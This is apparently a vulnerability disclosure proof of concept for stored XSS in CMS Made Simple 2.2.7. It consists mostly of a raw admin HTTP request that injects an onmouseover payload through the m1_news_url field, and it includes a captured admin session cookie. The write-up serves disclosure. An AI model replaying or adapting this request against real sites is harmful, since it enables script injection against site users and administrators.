XSS Vulnerability in CMS MADE SIMPLE version 2.2.7 via m1_news_url parameter

[suganya26392]

Locate :Content ----> News---->add article
payload:1" onmouseover=prompt(907460) bad="
Affected vectors: m1_news_url

HTTP REQUEST:

POST /XXXXX/cmsmadesimple/admin/moduleinterface.php HTTP/1.1
Host: xx.x.x.x:xx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://xx.x.x.x:xxxx/
Cookie: f55ebee232b88b67cd99413f20352285598849e9=aca0ec9499b6bace5485207d2293ec7d4c8ac7b6%3A%3AeyJ1aWQiOjEsInVzZXJuYW1lIjoiYWRtaW4iLCJlZmZfdWlkIjpudWxsLCJlZmZfdXNlcm5hbWUiOm51bGwsImhhc2giOiIkMnkkMTAkTHF2SmZlMkxZc1BkSTVOXC93VG9ENWVSLnViZUhtNWRIXC9tM09NV25nRVFpeEQwc1pMV2Q0VyJ9; __c=a495fd1cd9688c4db3b; wp-settings-time-1=1539146544; MEIQIA_EXTRA_TRACK_ID=1AQGRuGqHc3T7uIyeIsHTrWf1Mz; Hm_lvt_12fc28a048b3367aa46f20380b6678ff=1537438993,1538029069,1538142984; __atuvc=4%7C41; CMSSESSID6b00d7ad8410=748fa0afe4dae55db5840c9a6855d3cd; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1539318259; Hm_lpvt_f6f37dc3416ca514857b78d0b158037e=1539318259
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=--------1960545627
Content-Length: 2786

----------1960545627
Content-Disposition: form-data; name="mact"

News,m1_,addarticle,0
----------1960545627
Content-Disposition: form-data; name="__c"

a495fd1cd9688c4db3b
----------1960545627
Content-Disposition: form-data; name="m1_title"

Dinakaran
----------1960545627
Content-Disposition: form-data; name="m1_category"

1
----------1960545627
Content-Disposition: form-data; name="m1_summary"

ssss

----------1960545627 Content-Disposition: form-data; name="m1_content"

sss

----------1960545627 Content-Disposition: form-data; name="m1_status"

published
----------1960545627
Content-Disposition: form-data; name="m1_news_url"

slugform1" onmouseover=prompt(907460) bad="
----------1960545627
Content-Disposition: form-data; name="m1_extra"

Informative
----------1960545627
Content-Disposition: form-data; name="m1_postdate_Month"

10
----------1960545627
Content-Disposition: form-data; name="m1_postdate_Day"

12
----------1960545627
Content-Disposition: form-data; name="m1_postdate_Year"

2018
----------1960545627
Content-Disposition: form-data; name="m1_postdate_Hour"

10
----------1960545627
Content-Disposition: form-data; name="m1_postdate_Minute"

46
----------1960545627
Content-Disposition: form-data; name="m1_postdate_Second"

36
----------1960545627
Content-Disposition: form-data; name="m1_searchable"

1
----------1960545627
Content-Disposition: form-data; name="m1_startdate_Month"

10
----------1960545627
Content-Disposition: form-data; name="m1_startdate_Day"

12
----------1960545627
Content-Disposition: form-data; name="m1_startdate_Year"

2018
----------1960545627
Content-Disposition: form-data; name="m1_startdate_Hour"

10
----------1960545627
Content-Disposition: form-data; name="m1_startdate_Minute"

46
----------1960545627
Content-Disposition: form-data; name="m1_startdate_Second"

36
----------1960545627
Content-Disposition: form-data; name="m1_enddate_Month"

04
----------1960545627
Content-Disposition: form-data; name="m1_enddate_Day"

10
----------1960545627
Content-Disposition: form-data; name="m1_enddate_Year"

2019
----------1960545627
Content-Disposition: form-data; name="m1_enddate_Hour"

10
----------1960545627
Content-Disposition: form-data; name="m1_enddate_Minute"

46
----------1960545627
Content-Disposition: form-data; name="m1_enddate_Second"

36
----------1960545627
Content-Disposition: form-data; name="preview_template"

24
----------1960545627
Content-Disposition: form-data; name="preview_returnid"

-1
----------1960545627
Content-Disposition: form-data; name="m1_submit"

Submit
----------1960545627--